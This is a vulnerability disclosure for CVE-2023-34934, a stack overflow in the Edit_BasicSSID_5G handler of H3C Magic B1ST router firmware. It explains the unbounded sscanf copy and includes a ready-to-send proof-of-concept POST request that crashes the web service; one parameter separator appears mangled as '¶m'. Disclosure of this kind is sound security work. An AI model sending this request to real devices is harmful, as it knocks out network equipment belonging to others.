Headline
CVE-2023-34934: vuln/H3C_B1STW/CVE-2023-34934.md at main · h4kuy4/vuln
A stack overflow in the Edit_BasicSSID_5G function of H3C Magic B1STV100R012 allows attackers to cause a Denial of Service (DoS) via a crafted POST request.
Overview
Vendor: H3C Product: Magic B1ST Version: H3C_Magic_B1STV100R012 Type: Stack Overflow
Vulnerability
In route/goform/aspForm, the value of the key CMD is Edit_BasicSSID_5G, the program will go into the following handling function.
First it get the value of the key param, then use sscanf to copy the the value of param to a array v33 on the stack. The parameter %[^;] of sscanf didn’t limit the copy length.
PoC
POST /goform/aspForm HTTP/1.1 Host: 192.168.124.1 Content-Length: 320 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://192.168.124.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.91 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Referer: http://192.168.124.1/wan_new.asp Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cookie: PSWMOBILEFLAG=true; USERLOGINIDFLAG=; LOGIN_PSD_REM_FLAG= Connection: close
CMD=Edit_BasicSSID_5G¶m=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa;
Result
the process webs restart